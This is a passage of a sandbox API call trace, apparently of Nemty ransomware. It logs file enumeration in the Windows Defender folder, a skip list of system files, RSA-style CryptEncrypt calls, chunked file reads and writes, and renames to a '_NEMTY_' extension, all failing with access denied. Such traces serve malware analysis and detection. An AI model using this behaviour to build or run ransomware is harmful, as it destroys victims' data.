pszString="jgNd3TZVuoJW1wDof1xoK/8+/cmqXRzadr99xoPehbni4zq53grrpoVn97mZJ/ZN\r\nRehWYC3T2k4r4+hvmcZSqWBwXyFK0wCBHOWPJh9x9fGhAMzIi+fCAgGGt9k7rhwW\r\nmQu2HOktjT+NpvMnNguU40LqSiPipUU9ceBTfrRkpXYtFPyP1YD47zwpINXmKdFV\r\nWYfm9BkKMHOVQhhJw1ayQDeyLFa193Qu7UVvxdLMxiYNm8iSr/EavVz4fMaaTGYX\r\naO0Hi/HtXoyIo1miEkwRtY2cgKOHAsHzg6UqI1QYsbXxvuznyzugaMyStxq2LMFp\r\nMx9nDhm4zFrdq6XIoGD/Qg==\r\n", pcchString=0x653ef9c) returned 1 [0099.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0099.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0099.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0099.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f942c0 [0099.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0099.620] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\mpevmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.620] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0099.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0099.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.721] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.721] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f942c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0099.727] CloseHandle (hObject=0xffffffff) returned 0 [0099.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941d0 [0099.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0099.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\mpevmsg.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows defender\\en-us\\mpevmsg.dll.mui._nemty_kgobjgd_")) returned 0 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d0 | out: hHeap=0x4f90000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.727] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2=".") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="..") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="...") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="windows") returned -1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="rsa") returned -1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="NTDETECT.COM") returned -1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="ntldr") returned -1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="MSDOS.SYS") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="IO.SYS") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="boot.ini") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="boot.ini") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="ntuser.dat") returned -1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="desktop.ini") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="CONFIG.SYS") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="RECYCLER") returned -1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="bootmgr") returned 1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="programdata") returned -1 [0099.728] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="appdata") returned 1 [0099.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpRes.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0099.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpRes.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0099.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpRes.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0099.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0099.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MsMpRes.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsMpRes.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0099.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94158 [0099.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0099.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941d0 [0099.729] Sleep (dwMilliseconds=0x5) [0099.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef195c70, dwHighDateTime=0x1d561e7)) [0099.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef195c70, dwHighDateTime=0x1d561e7)) [0099.744] GetLastError () returned 0x5 [0099.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.744] GetLastError () returned 0x5 [0099.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.744] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0099.744] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0099.745] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0099.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94248 [0099.745] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94248, pcchString=0x653ef9c | out: pszString="u5dLXSTDsD0fp7pUDKI/zts6dzGmM8KQcRS17RtGlt/sVrVrn4db58QWyQD6zAO2\r\nRWtMzjiENrDJ8k96MUq9983VVJvcD4rZY9pfuGTjSqhJxoTHlXyPd2YPoGKHEZu1\r\nl6Qo++pL5ef4FHF26Qw8IYfae0pzi1Is3B7oPjTzNAYo+45LRsnRrUMNw2w+4i40\r\nXnUP533HUOAdR9mTqgr5Zsp80qpPHZPBsRrfy1pmKewbLMRJTee8My/P9W7KKXBy\r\nrVjCTfv6q6Vd/S5wQLSPRbQwYqbvbmuptNOUG6WQPaQ9bn0wB4d2IGiew4zJMyqa\r\nLpfUal/59KcF1YMNDv34pQ==\r\n", pcchString=0x653ef9c) returned 1 [0099.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0099.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0099.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0099.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94248 [0099.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0099.745] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\msmpres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.745] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0099.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0099.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 